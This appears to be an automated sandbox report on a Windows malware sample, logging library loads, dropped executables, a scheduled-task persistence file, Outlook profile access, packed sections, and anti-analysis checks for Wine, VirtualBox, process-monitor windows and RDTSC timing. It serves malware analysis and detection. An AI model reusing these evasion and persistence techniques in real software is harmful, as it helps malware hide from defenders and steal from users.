Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1827328 > 1048576

Source: file.exe

Static PE information: Raw size of wjbierbf is bigger than: 0x100000 < 0x1a4400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2744528513.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2744528513.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.a00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wjbierbf:EW;drgdpeyz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wjbierbf:EW;drgdpeyz:EW;.taggant:EW;
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Unpacked PE file: 26.2.DocumentsIDHJEBGIEB.exe.d70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wxwmfdjn:EW;mittgiev:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wxwmfdjn:EW;mittgiev:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 27.2.skotes.exe.30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wxwmfdjn:EW;mittgiev:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wxwmfdjn:EW;mittgiev:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wxwmfdjn:EW;mittgiev:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wxwmfdjn:EW;mittgiev:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 31.2.skotes.exe.30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wxwmfdjn:EW;mittgiev:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wxwmfdjn:EW;mittgiev:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C963480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C963480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: real checksum: 0x1d3f38 should be: 0x1d14bb
Source: random[1].exe.31.dr	Static PE information: real checksum: 0x43fade should be: 0x43b232
Source: 9f1158ad0a.exe.31.dr	Static PE information: real checksum: 0x43fade should be: 0x43b232
Source: file.exe	Static PE information: real checksum: 0x1c8bf9 should be: 0x1bf8fa
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d3f38 should be: 0x1d14bb
Source: skotes.exe.26.dr	Static PE information: real checksum: 0x1d3f38 should be: 0x1d14bb

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: wjbierbf
Source: file.exe	Static PE information: section name: drgdpeyz
Source: file.exe	Static PE information: section name: .taggant
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: wxwmfdjn
Source: random[1].exe.0.dr	Static PE information: section name: mittgiev
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: section name:
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: section name:
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: section name: wxwmfdjn
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: section name: mittgiev
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: wxwmfdjn
Source: skotes.exe.26.dr	Static PE information: section name: mittgiev
Source: skotes.exe.26.dr	Static PE information: section name: .taggant
Source: random[1].exe.31.dr	Static PE information: section name:
Source: random[1].exe.31.dr	Static PE information: section name: .rsrc
Source: random[1].exe.31.dr	Static PE information: section name: .idata
Source: random[1].exe.31.dr	Static PE information: section name:
Source: random[1].exe.31.dr	Static PE information: section name: ugpfseiq
Source: random[1].exe.31.dr	Static PE information: section name: jhuzbkez
Source: random[1].exe.31.dr	Static PE information: section name: .taggant
Source: 9f1158ad0a.exe.31.dr	Static PE information: section name:
Source: 9f1158ad0a.exe.31.dr	Static PE information: section name: .rsrc
Source: 9f1158ad0a.exe.31.dr	Static PE information: section name: .idata
Source: 9f1158ad0a.exe.31.dr	Static PE information: section name:
Source: 9f1158ad0a.exe.31.dr	Static PE information: section name: ugpfseiq
Source: 9f1158ad0a.exe.31.dr	Static PE information: section name: jhuzbkez
Source: 9f1158ad0a.exe.31.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B536 push ecx; ret		0_2_6C99B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_0004D91C push ecx; ret		31_2_0004D92F

Source: file.exe	Static PE information: section name: wjbierbf entropy: 7.953938802671791
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.978005077640729
Source: random[1].exe.0.dr	Static PE information: section name: wxwmfdjn entropy: 7.954725305078807
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: section name: entropy: 7.978005077640729
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: section name: wxwmfdjn entropy: 7.954725305078807
Source: skotes.exe.26.dr	Static PE information: section name: entropy: 7.978005077640729
Source: skotes.exe.26.dr	Static PE information: section name: wxwmfdjn entropy: 7.954725305078807
Source: random[1].exe.31.dr	Static PE information: section name: ugpfseiq entropy: 7.95367033888716
Source: 9f1158ad0a.exe.31.dr	Static PE information: section name: ugpfseiq entropy: 7.95367033888716

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDHJEBGIEB.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsIDHJEBGIEB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDHJEBGIEB.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDHJEBGIEB.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsIDHJEBGIEB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9C55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7D5E second address: DB7D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCDB3B second address: DCDB4E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F52D87EB82Ah 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCDB4E second address: DCDB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCDB54 second address: DCDB61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
